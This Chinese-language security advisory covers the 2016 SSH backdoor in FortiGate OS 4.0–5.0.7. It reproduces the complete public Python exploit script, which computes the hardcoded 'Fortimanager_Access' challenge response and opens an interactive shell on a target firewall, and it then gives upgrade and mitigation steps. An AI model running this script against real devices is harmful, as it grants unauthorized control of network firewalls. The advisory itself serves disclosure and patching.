FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门#更新#

http://p5.qhimg.com/t0188dcd9ddcbc37cb9.jpg

        漏洞简介:

        FortiGate(飞塔防火墙)采用 ASIC 加速的 UTM 解决方案,可以有效地防御网 络层和内容层的攻击。FortiGate 解决方案能够发现和消除多层的攻击,比如病 毒、蠕虫、入侵、以及 Web 恶意内容等等实时的应用,而不会导致网络性能下降。

        北京时间 2016 年 1 月 12 日凌晨四点钟,国外安全研究员@esizkur 在 twiter 上爆料 FortiGate 防火墙存在一个后门,攻击者可以通过这个后门直接获取防火墙控制权限。


        在 ZoomEye 网络空间搜索引擎 上发现全球有64567个 FortiGate 防火墙。 

http://p3.qhimg.com/t01eeb3899932f715bf.png

http://p2.qhimg.com/t015301c4c6ef0ec5e6.png

        看老外的代码确实像后门:

http://p5.qhimg.com/t01877de4de7c652657.png

def custom_handler(title, instructions, prompt_list):
    n = prompt_list[0][0]
    m = hashlib.sha1()
    m.update('x00' * 12)
    m.update(n + 'FGTAbc11*xy+Qqz27')
    m.update('xA3x88xBAx2Ex42x4CxB0x4Ax53x79x30xC1x31x07xCCx3FxA1x32x90x29xA9x81x5Bx70')
    h = 'AK1' + base64.b64encode('x00' * 12 + m.digest())
    return [h]

        利用脚本:

        http://seclists.org/fulldisclosure/2016/Jan/26

#!/usr/bin/env python



# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7

# Usage: ./fgt_ssh_backdoor.py <target-ip>



import socket

import select

import sys

import paramiko

from paramiko.py3compat import u

import base64

import hashlib

import termios

import tty



def custom_handler(title, instructions, prompt_list):

    n = prompt_list[0][0]

    m = hashlib.sha1()

    m.update('x00' * 12)

    m.update(n + 'FGTAbc11*xy+Qqz27')

    m.update('xA3x88xBAx2Ex42x4CxB0x4Ax53x79x30xC1x31x07xCCx3FxA1x32x90x29xA9x81x5Bx70')

    h = 'AK1' + base64.b64encode('x00' * 12 + m.digest())

    return [h]





def main():

    if len(sys.argv) < 2:

        print 'Usage: ' + sys.argv[0] + ' <target-ip>'

        exit(-1)



    client = paramiko.SSHClient()

    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())



    try:

        client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)

    except paramiko.ssh_exception.SSHException:

        pass



    trans = client.get_transport()

    try:

        trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)

    except paramiko.ssh_exception.AuthenticationException:

        pass



    trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)

    chan = client.invoke_shell()



    oldtty = termios.tcgetattr(sys.stdin)

    try:

        tty.setraw(sys.stdin.fileno())

        tty.setcbreak(sys.stdin.fileno())

        chan.settimeout(0.0)


        while True:

            r, w, e = select.select([chan, sys.stdin], [], [])

            if chan in r:

                try:

                    x = u(chan.recv(1024))

                    if len(x) == 0:

                        sys.stdout.write('rn*** EOFrn')

                        break

                    sys.stdout.write(x)

                    sys.stdout.flush()

                except socket.timeout:

                    pass

            if sys.stdin in r:

                x = sys.stdin.read(1)

                if len(x) == 0:

                    break

                chan.send(x)


    finally:

        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)



if __name__ == '__main__':

    main()

        修补方案:

            2014年,FortiGate内部发现后,已经发补丁移除那段代码了,只是客户没打补丁。          

            目前官方已经进行了说明,没有补丁形式,不过可以通过版本升级的方式解决该问题。

                FortiOS分支4.3:升级到FortiOS 4.3.17或更高版本

                FortiOS分支5.0:升级到FortiOS 5.0.8或更高版本

        FortiGate升级方式有:console串口命令行下、telnet命令行下、web页面操作。最新的固件(firmware build)可以去官方网站http://support.fortinet.com/下载或者从飞塔公司技术工程师获取。

        Web界面升级方式:

            1. 拷贝firmware image文件到本地主机;

            2. 用管理员用户登陆到Web界面;

            3. 进入到系统管理->状态->系统信息->软件版本 升级;

            4. 选择软件版本-> [升级]

            5. 直接输入firmware image文件的详细路径, 或点“浏览”选择本地升级文件;

            6. 选择OK.

        升级过程防火墙会自动重启,大概需要3-5分钟时间。

        如果条件限制不能及时升级版本,可以通过限制SSH连接的IP地址过滤的方式来进行,条件支持的情况下尽量不要将SSH对公网开放。

        参考:

https://www.reddit.com/r/netsec/comments/40lotk/ssh_backdoor_for_fortigate_os_version_4x_up_to/

https://twitter.com/esizkur/status/686842135501508608

http://seclists.org/fulldisclosure/2016/Jan/26

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐